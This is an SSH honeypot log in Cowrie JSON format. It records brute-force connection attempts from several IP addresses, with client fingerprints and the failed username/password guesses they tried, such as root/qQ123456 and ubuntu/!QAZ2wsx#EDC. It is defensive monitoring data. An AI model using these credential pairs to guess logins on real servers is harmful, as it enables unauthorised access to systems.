{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:46.903989Z","src_ip":"122.168.114.167","session":"f8d60a45b8fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:46.907919Z","src_ip":"122.168.114.167","session":"f8d60a45b8fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:57.441119Z","src_ip":"122.168.114.167","session":"f8d60a45b8fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:01.321267Z","src_ip":"122.168.114.167","session":"f8d60a45b8fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59026,"dst_ip":"159.203.135.109","dst_port":22,"session":"289c39252478","protocol":"ssh","message":"New connection: 159.203.92.129:59026 (159.203.135.109:22) [session: 289c39252478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:12.644249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:12.648386Z","src_ip":"159.203.92.129","session":"289c39252478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:12.652577Z","src_ip":"159.203.92.129","session":"289c39252478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aston_martin","password":"aston_martin","message":"login attempt [aston_martin/aston_martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:12.662922Z","src_ip":"159.203.92.129","session":"289c39252478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:13.669452Z","src_ip":"159.203.92.129","session":"289c39252478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":53318,"dst_ip":"159.203.135.109","dst_port":22,"session":"e416aa9598ec","protocol":"ssh","message":"New connection: 103.182.132.154:53318 (159.203.135.109:22) [session: e416aa9598ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:22.076842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:22.081239Z","src_ip":"103.182.132.154","session":"e416aa9598ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:22.292213Z","src_ip":"103.182.132.154","session":"e416aa9598ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iitmaapuser","password":"iitmaapuser","message":"login attempt [iitmaapuser/iitmaapuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:23.165212Z","src_ip":"103.182.132.154","session":"e416aa9598ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41774,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ae06eb109f","protocol":"ssh","message":"New connection: 122.168.114.167:41774 (159.203.135.109:22) [session: 05ae06eb109f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:23.294655Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":54900,"dst_ip":"159.203.135.109","dst_port":22,"session":"91bb4ff36ca9","protocol":"ssh","message":"New connection: 202.4.106.201:54900 (159.203.135.109:22) [session: 91bb4ff36ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:23.809006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:23.813556Z","src_ip":"202.4.106.201","session":"91bb4ff36ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:24.082466Z","src_ip":"202.4.106.201","session":"91bb4ff36ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:24.379375Z","src_ip":"103.182.132.154","session":"e416aa9598ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx#EDC","message":"login attempt [ubuntu/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:25.189708Z","src_ip":"202.4.106.201","session":"91bb4ff36ca9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:25.837031Z","src_ip":"122.168.114.167","session":"05ae06eb109f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:25.849129Z","src_ip":"122.168.114.167","session":"05ae06eb109f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:26.460265Z","src_ip":"202.4.106.201","session":"91bb4ff36ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:38.855278Z","src_ip":"122.168.114.167","session":"05ae06eb109f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:43.418793Z","src_ip":"122.168.114.167","session":"05ae06eb109f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54068,"dst_ip":"159.203.135.109","dst_port":22,"session":"964911ce860a","protocol":"ssh","message":"New connection: 159.203.92.129:54068 (159.203.135.109:22) [session: 964911ce860a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:53.383236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:53.387357Z","src_ip":"159.203.92.129","session":"964911ce860a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:53.391695Z","src_ip":"159.203.92.129","session":"964911ce860a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asus","password":"111111","message":"login attempt [asus/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:53.404212Z","src_ip":"159.203.92.129","session":"964911ce860a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:33:54.410651Z","src_ip":"159.203.92.129","session":"964911ce860a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44176,"dst_ip":"159.203.135.109","dst_port":22,"session":"113e61babe17","protocol":"ssh","message":"New connection: 122.168.114.167:44176 (159.203.135.109:22) [session: 113e61babe17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:01.202146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:04.848590Z","src_ip":"122.168.114.167","session":"113e61babe17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:04.904673Z","src_ip":"122.168.114.167","session":"113e61babe17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:20.136743Z","src_ip":"122.168.114.167","session":"113e61babe17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.9","message":"Connection lost after 23.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:25.068249Z","src_ip":"122.168.114.167","session":"113e61babe17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":59856,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1cd7481691","protocol":"ssh","message":"New connection: 103.182.132.154:59856 (159.203.135.109:22) [session: dd1cd7481691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:25.426069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:25.432832Z","src_ip":"103.182.132.154","session":"dd1cd7481691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:25.646509Z","src_ip":"103.182.132.154","session":"dd1cd7481691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"P@55w0rd","message":"login attempt [webadmin/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:26.521075Z","src_ip":"103.182.132.154","session":"dd1cd7481691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:27.733844Z","src_ip":"103.182.132.154","session":"dd1cd7481691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":44262,"dst_ip":"159.203.135.109","dst_port":22,"session":"66f820bea205","protocol":"ssh","message":"New connection: 202.4.106.201:44262 (159.203.135.109:22) [session: 66f820bea205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:30.278986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:34:30.286230Z","src_ip":"202.4.106.201","session":"66f820bea205","protocol":"ssh"}
